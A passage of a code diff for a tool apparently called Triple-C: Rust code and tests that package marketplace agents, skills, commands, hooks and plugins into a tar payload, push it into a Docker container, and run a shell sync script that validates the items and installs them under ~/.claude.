ItemKind::Plugin => {
let mut entry = match plugin_catalog_entry(&tree, key) {
Ok(e) => e,
Err(e) => {
hold(e);
continue;
}
};
entry["source"] = json!(format!("./{key}"));
let slug = marketplace_slug(&m.id);
for f in &files {
tar.file(
&format!("plugins/{slug}/{key}/{}", f.rel_path),
&f.data,
f.executable,
)?;
}
let group = plugin_groups
.entry(slug.clone())
.or_insert_with(|| PluginGroup {
entries: Vec::new(),
keys: Vec::new(),
});
group.entries.push(entry);
group.keys.push(key.clone());
item["slug"] = json!(slug);
}
}
if inst.kind != ItemKind::Plugin {
taken.insert((inst.kind, key.clone()));
}
items.push(item);
}
let mut plugin_marketplaces = Vec::new();
for (slug, group) in plugin_groups {
let catalog = json!({
"name": format!("triple-c-{slug}"),
"owner": { "name": "Triple-C" },
"plugins": group.entries,
});
let bytes = serde_json::to_vec_pretty(&catalog).map_err(|e| e.to_string())?;
tar.file(
&format!("plugins/{slug}/.claude-plugin/marketplace.json"),
&bytes,
false,
)?;
plugin_marketplaces
.push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": group.keys }));
}
let manifest = json!({
"version": 1,
"items": items,
"plugin_marketplaces": plugin_marketplaces,
"held": held,
});
let bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| e.to_string())?;
tar.file("manifest.json", &bytes, false)?;
Ok(Payload {
tar: tar.finish()?,
manifest,
skipped,
})
}
#[cfg(test)]
mod tests {
use super::*;
use crate::marketplace::test_support::GitFixture;
use std::collections::HashMap;
use std::io::Read;
struct Entry {
data: Vec<u8>,
mode: u32,
}
fn unpack(tar_bytes: &[u8]) -> HashMap<String, Entry> {
let mut archive = tar::Archive::new(tar_bytes);
let mut out = HashMap::new();
for e in archive.entries().unwrap() {
let mut e = e.unwrap();
let path = e.path().unwrap().to_string_lossy().into_owned();
let mode = e.header().mode().unwrap();
let mut data = Vec::new();
e.read_to_end(&mut data).unwrap();
out.insert(path, Entry { data, mode });
}
out
}
fn market(id: &str) -> Marketplace {
Marketplace {
id: id.into(),
name: "Team Tools".into(),
url: "https://example.invalid/r.git".into(),
branch: None,
account_id: None,
}
}
fn inst(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
MarketplaceInstall {
marketplace_id: "m1aaaaaaaa".into(),
kind,
key: key.into(),
commit: commit.into(),
}
}
/// Fetch the fixture into `<data>/marketplaces/m1aaaaaaaa.git`.
fn cache(fx: &GitFixture, data: &Path) {
let repo = git::cache_path(data, "m1aaaaaaaa");
git::fetch(&repo, &fx.url(), None, None).unwrap();
}
#[test]
fn every_kind_lands_at_its_contract_path() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![
inst(ItemKind::Agent, "code-reviewer", &c),
inst(ItemKind::Skill, "example-skill", &c),
inst(ItemKind::Command, "example-command", &c),
inst(ItemKind::Hook, "notify-on-stop", &c),
inst(ItemKind::Plugin, "example-plugin", &c),
];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
assert!(p.skipped.is_empty(), "{:?}", p.skipped);
let files = unpack(&p.tar);
let slug = marketplace_slug("m1aaaaaaaa");
for path in [
"agents/code-reviewer.md".to_string(),
"skills/example-skill/SKILL.md".to_string(),
"commands/example-command.md".to_string(),
"hooks/notify-on-stop/hook.json".to_string(),
"hooks/notify-on-stop/notify.sh".to_string(),
format!("plugins/{slug}/.claude-plugin/marketplace.json"),
format!("plugins/{slug}/example-plugin/.claude-plugin/plugin.json"),
format!("plugins/{slug}/example-plugin/skills/hello/SKILL.md"),
"manifest.json".to_string(),
] {
assert!(
files.contains_key(&path),
"missing {path}; have {:?}",
files.keys().collect::<Vec<_>>()
);
}
assert_eq!(files["hooks/notify-on-stop/notify.sh"].mode & 0o777, 0o755);
assert_eq!(files["agents/code-reviewer.md"].mode & 0o777, 0o644);
}
#[test]
fn manifest_and_generated_catalog_match_the_contract() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![
inst(ItemKind::Hook, "notify-on-stop", &c),
inst(ItemKind::Plugin, "example-plugin", &c),
];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
let slug = marketplace_slug("m1aaaaaaaa");
let files = unpack(&p.tar);
let manifest: Value = serde_json::from_slice(&files["manifest.json"].data).unwrap();
assert_eq!(manifest, p.manifest);
assert_eq!(manifest["version"], 1);
let hook = &manifest["items"][0];
assert_eq!(hook["kind"], "hook");
assert_eq!(hook["dir"], "hooks/notify-on-stop");
assert_eq!(
hook["settings"]["Stop"][0]["hooks"][0]["command"],
"/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh"
);
let plugin = &manifest["items"][1];
assert_eq!(plugin["kind"], "plugin");
assert_eq!(plugin["slug"], slug.as_str());
assert_eq!(
manifest["plugin_marketplaces"],
json!([{ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": ["example-plugin"] }])
);
let catalog: Value = serde_json::from_slice(
&files[&format!("plugins/{slug}/.claude-plugin/marketplace.json")].data,
)
.unwrap();
assert_eq!(catalog["name"], format!("triple-c-{slug}"));
assert_eq!(catalog["owner"]["name"], "Triple-C");
assert_eq!(catalog["plugins"][0]["name"], "example-plugin");
assert_eq!(catalog["plugins"][0]["source"], "./example-plugin");
}
/// Final review M4: the plugin marketplace name comes from the id, so a
/// rename never makes the container see a different marketplace.
#[test]
fn plugin_slug_survives_a_rename() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![inst(ItemKind::Plugin, "example-plugin", &c)];
let slug_named = |name: &str| {
let marketplaces = vec![Marketplace {
name: name.into(),
..market("m1aaaaaaaa")
}];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
p.manifest["items"][0]["slug"].as_str().unwrap().to_string()
};
assert_eq!(slug_named("Team Tools"), "mp-m1aaaaaa");
assert_eq!(slug_named("Renamed"), "mp-m1aaaaaa");
}
#[test]
fn items_that_cannot_be_built_are_skipped_not_fatal() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let mut gone = inst(ItemKind::Agent, "code-reviewer", &c);
gone.marketplace_id = "removed".into();
let installs = vec![
gone,
inst(ItemKind::Agent, "code-reviewer", &"0".repeat(40)),
inst(ItemKind::Agent, "does-not-exist", &c),
inst(ItemKind::Command, "example-command", &c),
];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
let skipped: Vec<&str> = p.skipped.iter().map(|s| s.item.as_str()).collect();
assert_eq!(
skipped,
vec![
"agent:code-reviewer",
"agent:code-reviewer",
"agent:does-not-exist"
]
);
assert!(
p.skipped[0].reason.contains("marketplace"),
"{}",
p.skipped[0].reason
);
assert!(
p.skipped[1].reason.contains("cache"),
"{}",
p.skipped[1].reason
);
assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
// Final review M3: host-side failures are held (the container keeps
// what it has); only a removed source really removes.
assert_eq!(
p.manifest["held"],
json!(["agent:code-reviewer", "agent:does-not-exist"])
);
}
#[test]
fn a_plugin_that_cannot_be_built_is_held_under_its_marketplace() {
let Some(fx) = GitFixture::new() else { return };
fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![inst(ItemKind::Plugin, "example-plugin", &"0".repeat(40))];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
assert_eq!(p.skipped.len(), 1);
assert_eq!(
p.manifest["held"],
json!([format!(
"plugin:{}/example-plugin",
marketplace_slug("m1aaaaaaaa")
)])
);
assert_eq!(p.manifest["plugin_marketplaces"], json!([]));
}
#[test]
fn a_second_marketplace_cannot_shadow_an_installed_name() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let other = git::cache_path(data.path(), "m2bbbbbbbb");
git::fetch(&other, &fx.url(), None, None).unwrap();
let mut second = inst(ItemKind::Agent, "code-reviewer", &c);
second.marketplace_id = "m2bbbbbbbb".into();
let installs = vec![inst(ItemKind::Agent, "code-reviewer", &c), second];
let marketplaces = vec![market("m1aaaaaaaa"), market("m2bbbbbbbb")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
assert_eq!(p.skipped.len(), 1);
assert!(p.skipped[0].reason.contains("another marketplace"));
assert_eq!(p.manifest["held"], json!([]));
}
#[test]
fn an_empty_install_set_still_yields_a_manifest() {
let data = tempfile::tempdir().unwrap();
let p = build_payload(&PayloadInput {
installs: &[],
marketplaces: &[],
data_root: data.path(),
})
.unwrap();
assert_eq!(
p.manifest,
json!({ "version": 1, "items": [], "plugin_marketplaces": [], "held": [] })
);
assert!(unpack(&p.tar).contains_key("manifest.json"));
}
}
+256
View File
@@ -0,0 +1,256 @@
//! Pushes a project's marketplace payload into its container and runs the
//! sync script there (spec §4).
use std::time::Duration;
use super::payload::Payload;
use crate::docker::exec::{exec_oneshot_as, exec_oneshot_streams_as, upload_bytes_to_container};
use crate::models::marketplace::{SkippedItem, SyncReport};
/// Where the payload and the script are uploaded. Owned by `claude`.
pub const INCOMING_DIR: &str = "/home/claude/.claude/triple-c/marketplace/incoming";
/// The sync script. Shipped with the app and uploaded on every sync, so a new
/// app version reaches existing containers without an image migration.
pub const SYNC_SCRIPT: &str = include_str!("sync.sh");
/// True once the entrypoint has finished: its last step execs this exact
/// command line. Before that it may still be merging `settings.json` or running
/// `claude update`, both of which the sync would race.
const READY_PROBE: &str = "pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null";
const READY_TIMEOUT: Duration = Duration::from_secs(180);
const READY_POLL: Duration = Duration::from_secs(2);
/// Run as root: `~/.claude` is a volume and `triple-c/` may not exist yet, and
/// the uploads below are root-owned files in a directory `claude` must own so
/// the script can delete them.
const PREPARE_SCRIPT: &str = r#"set -e
d=/home/claude/.claude/triple-c/marketplace/incoming
mkdir -p "$d"
chown -R claude:claude /home/claude/.claude/triple-c
rm -f "$d/payload.tar" "$d/sync.sh""#;
fn sh(script: &str) -> Vec<String> {
vec!["sh".to_string(), "-c".to_string(), script.to_string()]
}
/// The readiness probe, run as root.
fn ready_probe_cmd() -> Vec<String> {
sh(READY_PROBE)
}
/// The sync script invocation, run as `claude`.
fn run_script_cmd() -> Vec<String> {
vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
}
fn run_script_env() -> Vec<String> {
vec!["HOME=/home/claude".to_string()]
}
async fn wait_until_ready(container_id: &str) -> Result<(), String> {
let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
loop {
let (_, code) = exec_oneshot_as(container_id, "root", ready_probe_cmd(), vec![]).await?;
if code == 0 {
return Ok(());
}
if tokio::time::Instant::now() >= deadline {
return Err(format!(
"The container did not finish starting within {} seconds, so marketplace items \
were not applied. They are applied on the next start, or with Apply now.",
READY_TIMEOUT.as_secs()
));
}
tokio::time::sleep(READY_POLL).await;
}
}
/// The last `max` bytes of `text`, trimmed, never splitting a character.
fn tail(text: &str, max: usize) -> &str {
let text = text.trim();
if text.len() <= max {
return text;
}
let mut start = text.len() - max;
while !text.is_char_boundary(start) {
start += 1;
}
&text[start..]
}
/// Wait for readiness, upload the payload and the script, run the script as
/// `claude`, and return its report.
pub async fn sync_container(container_id: &str, payload: &Payload) -> Result<SyncReport, String> {
wait_until_ready(container_id).await?;
let (out, code) = exec_oneshot_as(container_id, "root", sh(PREPARE_SCRIPT), vec![]).await?;
if code != 0 {
return Err(format!(
"Could not prepare the container for the marketplace sync: {}",
tail(&out, 500)
));
}
upload_bytes_to_container(
container_id,
INCOMING_DIR,
"payload.tar",
&payload.tar,
0o644,
)
.await?;
upload_bytes_to_container(
container_id,
INCOMING_DIR,
"sync.sh",
SYNC_SCRIPT.as_bytes(),
0o755,
)
.await?;
let (stdout, stderr, code) =
exec_oneshot_streams_as(container_id, "claude", run_script_cmd(), run_script_env()).await?;
parse_report(&stdout).map_err(|e| {
format!(
"The marketplace sync script failed (exit {code}): {e}. {}",
tail(&stderr, 500)
)
})
}
/// The script's report is the last non-empty line of stdout.
pub fn parse_report(stdout: &str) -> Result<SyncReport, String> {
let line = stdout
.lines()
.rev()
.map(str::trim)
.find(|l| !l.is_empty())
.ok_or_else(|| "the sync script printed no report".to_string())?;
serde_json::from_str(line)
.map_err(|e| format!("the sync script's report could not be read: {e}"))
}
/// A sync never fails its caller: an error becomes a report that says so.
pub fn report_from_result(r: Result<SyncReport, String>) -> SyncReport {
let mut report = match r {
Ok(report) => report,
Err(e) => SyncReport {
errors: vec![e],
..Default::default()
},
};
report.finished_at = chrono::Utc::now().to_rfc3339();
report
}
/// Items the host left out of the payload (invalid, missing from the cache, …)
/// never reach the script, so the stored report lists them ahead of its own.
pub fn with_payload_skips(mut report: SyncReport, payload_skipped: &[SkippedItem]) -> SyncReport {
let mut skipped = payload_skipped.to_vec();
skipped.append(&mut report.skipped);
report.skipped = skipped;
report
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn the_report_is_the_last_non_empty_stdout_line() {
let out = "noise\n{\"installed\":[\"agent:a\"],\"errors\":[]}\n\n";
let r = parse_report(out).unwrap();
assert_eq!(r.installed, vec!["agent:a"]);
assert!(r.skipped.is_empty());
}
#[test]
fn missing_or_garbled_reports_are_errors() {
assert!(parse_report("").unwrap_err().contains("no report"));
assert!(parse_report("not json\n")
.unwrap_err()
.contains("could not be read"));
}
#[test]
fn a_failed_sync_becomes_a_report() {
// A failed sync becomes a report with the error in it — never an Err
// that could propagate into container start.
let r = report_from_result(Err("container went away".into()));
assert_eq!(r.errors, vec!["container went away"]);
assert!(!r.finished_at.is_empty());
let ok = report_from_result(Ok(SyncReport {
installed: vec!["hook:h".into()],
..Default::default()
}));
assert_eq!(ok.installed, vec!["hook:h"]);
assert!(chrono::DateTime::parse_from_rfc3339(&ok.finished_at).is_ok());
}
#[test]
fn the_embedded_script_is_the_sync_script() {
assert!(SYNC_SCRIPT.starts_with("#!/bin/sh"));
assert!(SYNC_SCRIPT.contains("MARKETPLACE_INCOMING"));
}
#[test]
fn readiness_probes_the_entrypoints_final_exec() {
assert_eq!(
ready_probe_cmd(),
vec![
"sh",
"-c",
"pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null"
]
);
assert_eq!(READY_POLL, Duration::from_secs(2));
assert_eq!(READY_TIMEOUT, Duration::from_secs(180));
}
#[test]
fn the_incoming_dir_is_prepared_for_claude() {
// The uploads are root-owned, so the directory must exist and belong
// to claude before they land (claude extracts and deletes them).
assert!(PREPARE_SCRIPT.contains(INCOMING_DIR));
assert!(PREPARE_SCRIPT.contains("mkdir -p"));
assert!(PREPARE_SCRIPT.contains("chown -R claude:claude /home/claude/.claude/triple-c"));
}
#[test]
fn the_script_runs_as_claude_with_home_set() {
assert_eq!(
run_script_cmd(),
vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
);
assert_eq!(run_script_env(), vec!["HOME=/home/claude"]);
}
#[test]
fn payload_skips_come_before_the_scripts_own() {
use crate::models::marketplace::SkippedItem;
let payload_skip = SkippedItem {
item: "agent:a".into(),
reason: "invalid".into(),
};
let script_skip = SkippedItem {
item: "hook:h".into(),
reason: "no jq".into(),
};
let report = SyncReport {
skipped: vec![script_skip.clone()],
..Default::default()
};
let merged = with_payload_skips(report, std::slice::from_ref(&payload_skip));
assert_eq!(merged.skipped, vec![payload_skip, script_skip]);
}
#[test]
fn long_output_is_tailed_on_a_char_boundary() {
assert_eq!(tail(" short \n", 10), "short");
let s = format!("{}é", "x".repeat(20));
let t = tail(&s, 1);
assert!(s.ends_with(t));
assert!(t.len() <= 2);
}
}
+467
View File
@@ -0,0 +1,467 @@
#!/bin/sh
# Messages name paths as the user sees them ("~/.claude/..."), deliberately.
# shellcheck disable=SC2088
# Triple-C marketplace sync: applies the payload the app uploaded.
#
# A constant script, shipped inside the app and uploaded next to the payload on
# every sync. Nothing is ever interpolated into it: its only inputs are the
# files under $MARKETPLACE_INCOMING (written by the host) and $HOME. Item keys
# and slugs are re-validated here although the host validated them, and every
# destination path is derived from them rather than taken from the manifest.
#
# Progress and tool output go to stderr. stdout carries exactly one line: the
# JSON report. Exit status is 0 unless HOME is unset; per-item failures are
# reported, never fatal.
set -u
if [ -z "${HOME:-}" ]; then
echo "triple-c-marketplace-sync: HOME is not set" >&2
exit 2
fi
PATH="$HOME/.claude/bin:$HOME/.local/bin:$PATH"
export PATH
CLAUDE_DIR="$HOME/.claude"
BASE="$CLAUDE_DIR/triple-c"
INCOMING="${MARKETPLACE_INCOMING:-$BASE/marketplace/incoming}"
LOCK="${MARKETPLACE_LOCK:-/tmp/.triple-c-claude-update.lock}"
STATE="$BASE/marketplace/state.json"
WORK="$BASE/marketplace/work"
SETTINGS="$CLAUDE_DIR/settings.json"
TAB=$(printf '\t')
if ! command -v jq >/dev/null 2>&1; then
printf '%s\n' '{"errors":["jq is not installed in this container, so marketplace items were not applied"]}'
exit 0
fi
R=$(mktemp -d 2>/dev/null) || R=""
if [ -z "$R" ] || [ ! -d "$R" ]; then
printf '%s\n' '{"errors":["a temporary directory could not be created in the container, so marketplace items were not applied"]}'
exit 0
fi
trap 'rm -rf "$R"' EXIT
for f in installed updated removed skipped errors newstate new_slugs final_slugs \
hook_pending hook_removals plugin_items; do
: >"$R/$f"
done
report() { printf '%s\n' "$2" >>"$R/$1"; }
skip() { printf '%s\t%s\n' "$1" "$2" >>"$R/skipped"; }
fail() { printf '%s\n' "$1" >>"$R/errors"; }
record() { printf '%s\t%s\n' "$1" "$2" >>"$R/newstate"; }
emit_report() {
jq -cn \
--rawfile i "$R/installed" --rawfile u "$R/updated" --rawfile d "$R/removed" \
--rawfile s "$R/skipped" --rawfile e "$R/errors" '
def lines: split("\n") | map(select(length > 0));
{ installed: ($i | lines), updated: ($u | lines), removed: ($d | lines),
skipped: ($s | lines | map(split("\t") | { item: .[0], reason: (.[1:] | join("\t")) })),
errors: ($e | lines) }'
}
valid_key() {
case "$1" in
'' | [!A-Za-z0-9]* | *[!A-Za-z0-9._-]*) return 1 ;;
esac
[ "${#1}" -le 64 ]
}
valid_slug() {
case "$1" in
'' | -* | *[!a-z0-9-]*) return 1 ;;
esac
[ "${#1}" -le 64 ]
}
valid_commit() {
case "$1" in
'' | *[!0-9a-f]*) return 1 ;;
esac
[ "${#1}" -eq 40 ]
}
# Run `claude` serialised with the entrypoint's and every session's
# `claude update`, which rewrite ~/.claude/bin under the same lock.
claude_cmd() {
if command -v flock >/dev/null 2>&1; then
flock -w 120 "$LOCK" claude "$@" </dev/null >&2
else
claude "$@" </dev/null >&2
fi
}
# State ids are "<kind>:<key>", except plugins: "plugin:<slug>/<key>", since
# two marketplaces may ship a plugin of the same name. Reports keep
# "<kind>:<key>" for every kind. $OLD is the state as read at the start
# (legacy "plugin:<key>" records migrated); $STATE is written once, at the end.
OLD="$R/state.json"
owned() { jq -e --arg id "$1" '.items | has($id)' "$OLD" >/dev/null 2>&1; }
prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$OLD"; }
# Every state id the manifest names with string fields, well-formed or
# not: a selected item that failed this run must not be removed.
in_manifest() { grep -qxF "$1" "$R/manifest_ids"; }
carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$OLD")"; }
# $1 = installed|updated|none for this id at this commit.
outcome_of() {
p=$(prev_commit "$1")
if [ -z "$p" ]; then
echo installed
elif [ "$p" != "$2" ]; then
echo updated
else
echo none
fi
}
outcome() {
o=$(outcome_of "$1" "$2")
[ "$o" = none ] || report "$o" "$1"
}
# Something is in the way at a user-owned location (dangling links included).
occupied() { [ -e "$1" ] || [ -L "$1" ]; }
# The one place a destination is derived; removal never trusts a stored path.
item_path() {
case "$1" in
agent | command) printf '%s\n' "$CLAUDE_DIR/${1}s/$2.md" ;;
skill) printf '%s\n' "$CLAUDE_DIR/skills/$2" ;;
hook) printf '%s\n' "$BASE/hooks/$2" ;;
*) return 1 ;;
esac
}
malformed() {
rm -rf "$WORK"
fail "$1"
emit_report
exit 0
}
# ── Unpack ───────────────────────────────────────────────────────────────────
if [ ! -f "$INCOMING/payload.tar" ]; then
fail "no payload was uploaded"
emit_report
exit 0
fi
mkdir -p "$BASE/marketplace" "$BASE/hooks" "$BASE/plugins"
rm -rf "$WORK"
mkdir -p "$WORK"
if ! tar -xf "$INCOMING/payload.tar" -C "$WORK" >&2; then
rm -f "$INCOMING/payload.tar"
fail "the payload could not be unpacked"
emit_report
exit 0
fi
rm -f "$INCOMING/payload.tar"
# The host never packs links (they make an item invalid); refuse any that
# arrive rather than copy through them.
if [ -n "$(find "$WORK" -type l -print | head -n 1)" ]; then
rm -rf "$WORK"
fail "the payload contains a symbolic link, so it was not applied"
emit_report
exit 0
fi
MANIFEST="$WORK/manifest.json"
if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then
malformed "the payload manifest is missing or has an unsupported version"
fi
# Nothing is changed (and, above all, nothing removed) unless the manifest is
# structurally sound and every extraction below succeeds.
# `held` (optional): state ids of installs the host could not build this time;
# they are kept exactly like a selected item that failed here.
if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array"
and ((.held // []) | type == "array" and all(.[]; type == "string"))' \
"$MANIFEST" >/dev/null 2>&1; then
malformed "the payload manifest is malformed, so nothing was changed"
fi
# One line per item. Fields carry a "_" prefix so an empty one cannot make
# `read` shift the rest (tab is IFS whitespace); @tsv escapes tabs/newlines.
# A malformed item becomes a "bad" line instead of aborting the extraction.
if ! {
jq -r '
.items[]
| if type == "object" and (.kind | type) == "string" and (.key | type) == "string"
and (.commit | type) == "string"
then ["ok", .kind, .key, .commit, (if (.slug | type) == "string" then .slug else "" end)]
else ["bad",
(if type == "object" then .kind | tostring else "?" end),
(if type == "object" then .key | tostring else "?" end), "", ""]
end
| map("_" + .) | @tsv' "$MANIFEST" >"$R/items.tsv" &&
jq -r '.items[] | objects | select((.kind | type) == "string" and (.key | type) == "string")
| [if .kind == "plugin" and (.slug | type) == "string"
then "plugin:" + .slug + "/" + .key else .kind + ":" + .key end] | @tsv' \
"$MANIFEST" >"$R/manifest_ids" &&
jq -r '(.held // [])[] | [.] | @tsv' "$MANIFEST" >>"$R/manifest_ids" &&
jq -r '.plugin_marketplaces[]
| if type == "object" and (.slug | type) == "string" then .slug else "" end
| [.] | @tsv' "$MANIFEST" >"$R/new_slugs"
}; then
malformed "the payload manifest could not be read, so nothing was changed"
fi
if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then
printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE"
fi
# Records from before plugins were tracked per marketplace ("plugin:<key>")
# carry their slug: rename them so they are neither reinstalled nor orphaned.
# One without a string slug keeps its id and is dropped as unrecognised below.
if ! jq '.items |= with_entries(
if (.key | startswith("plugin:")) and (.key | contains("/") | not)
and (.value | type) == "object" and (.value.slug | type) == "string"
then .key = "plugin:" + .value.slug + "/" + (.key | ltrimstr("plugin:"))
else . end)' "$STATE" >"$OLD" 2>/dev/null; then
malformed "the marketplace state could not be read, so nothing was changed"
fi
# ── Agents, skills, commands, hooks ──────────────────────────────────────────
while IFS="$TAB" read -r status kind key commit slug; do
status=${status#_} kind=${kind#_} key=${key#_} commit=${commit#_} slug=${slug#_}
id="$kind:$key"
if [ "$status" != ok ]; then skip "$id" "malformed manifest entry"; continue; fi
if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi
if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi
case "$kind" in
plugin)
# Applied per plugin marketplace below.
printf '%s\t%s\t%s\n' "_$key" "_$commit" "_$slug" >>"$R/plugin_items"
;;
agent | command)
dir="$CLAUDE_DIR/${kind}s"
src="$WORK/${kind}s/$key.md"
dest=$(item_path "$kind" "$key")
if [ ! -f "$src" ]; then fail "$id: missing from the payload"; continue; fi
if occupied "$dest" && ! owned "$id"; then
skip "$id" "~/.claude/${kind}s/$key.md already exists and was not installed by Triple-C"
continue
fi
if ! { mkdir -p "$dir" && cp "$src" "$dest.tmp.$$" && mv -f "$dest.tmp.$$" "$dest"; }; then
rm -f "$dest.tmp.$$"
fail "$id: could not write $dest"
continue
fi
outcome "$id" "$commit"
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
;;
skill)
dir="$CLAUDE_DIR/skills"
src="$WORK/skills/$key"
dest=$(item_path skill "$key")
if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
if occupied "$dest" && ! owned "$id"; then
skip "$id" "~/.claude/skills/$key already exists and was not installed by Triple-C"
continue
fi
if ! { mkdir -p "$dir" && rm -rf "$dest" && cp -R "$src" "$dest"; }; then
fail "$id: could not write $dest"
continue
fi
outcome "$id" "$commit"
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
;;
hook)
src="$WORK/hooks/$key"
dest=$(item_path hook "$key")
entries=$(jq -c --arg k "$key" \
'first(.items[] | objects | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST")
if ! printf '%s' "$entries" | jq -e 'type == "object" and all(.[]; type == "array")' >/dev/null 2>&1; then
skip "$id" "its hook settings are not an object of arrays"
continue
fi
if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
if ! { rm -rf "$dest" && cp -R "$src" "$dest"; }; then
fail "$id: could not write $dest"
continue
fi
# Reported only once its entries are in settings.json (see below).
printf '%s\t%s\n' "$(outcome_of "$id" "$commit")" "$id" >>"$R/hook_pending"
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" --argjson e "$entries" \
'{commit: $c, path: $p, entries: $e}')"
;;
*)
skip "$id" "unknown item kind"
;;
esac
done <"$R/items.tsv"
# ── Removals (non-plugin) ────────────────────────────────────────────────────
cut -f1 "$R/newstate" >"$R/new_ids"
jq -r '.items | keys[]' "$OLD" >"$R/old_ids"
while read -r id; do
case "$id" in plugin:*) continue ;; esac
if grep -qxF "$id" "$R/new_ids"; then continue; fi
# Still selected but failed this run: keep the old files and record.
if in_manifest "$id"; then carry_forward "$id"; continue; fi
# Only an exact "<kind>:<key>" with a known kind names a path; anything
# else in state is dropped without deleting anything.
case "$id" in
agent:* | skill:* | command:* | hook:*)
kind=${id%%:*}
key=${id#*:}
;;
*) kind="" key="" ;;
esac
if [ -z "$kind" ] || ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then
fail "$id: dropped an unrecognised record from the marketplace state"
continue
fi
if [ "$kind" = hook ]; then
# Removed once its entries are out of settings.json (see below).
printf '%s\n' "$id" >>"$R/hook_removals"
continue
fi
if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi
done <"$R/old_ids"
# ── Hook entries in settings.json ────────────────────────────────────────────
# shellcheck disable=SC2016 # jq program, not shell
MERGE_ENTRIES='[.[] | .entries? // empty]
| reduce .[] as $e ({}; reduce ($e | to_entries[]) as $x (.; .[$x.key] += $x.value))'
OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$OLD")
NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES")
HOOKS_FAILED=0
if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then
# A dotfiles symlink stays a symlink: write through to its target.
target="$SETTINGS"
if [ -L "$SETTINGS" ]; then
target=$(readlink -f "$SETTINGS" 2>/dev/null) || target=""
fi
tmp="$target.tmp.$$"
# settings.json may hold secrets and the entrypoint keeps it 0600: create
# the replacement private and keep it that way (pre-flight N11).
saved_umask=$(umask)
umask 077
if [ -z "$target" ] || { [ -e "$target" ] && [ ! -f "$target" ]; }; then
HOOKS_FAILED=1
fail "~/.claude/settings.json is not a regular file, so hook changes were not applied"
elif [ -f "$target" ] && ! jq -s '
if length == 0 then {}
elif length == 1 and (.[0] | type) == "object" then .[0]
else error("not a JSON object") end' "$target" >"$R/current.json" 2>/dev/null; then
HOOKS_FAILED=1
fail "~/.claude/settings.json is not a JSON object, so hook changes were not applied"
else
# Missing, empty and whitespace-only files all read as {}.
[ -f "$target" ] || printf '{}\n' >"$R/current.json"
if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" '
def remove_first($x):
(to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i
| if $i == null then . else del(.[$i]) end;
reduce ($old | to_entries[]) as $ev (.;
if (.hooks[$ev.key] | type) == "array"
then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g))
else . end)
| reduce ($new | to_entries[]) as $ev (.;
.hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value))
| if (.hooks | type) == "object" then .hooks |= with_entries(select(.value != [])) else . end
| if .hooks == {} then del(.hooks) else . end
' "$R/current.json" >"$tmp" 2>/dev/null &&
jq -e 'type == "object"' "$tmp" >/dev/null 2>&1 &&
mv -f "$tmp" "$target"; then
chmod 600 "$target" ||
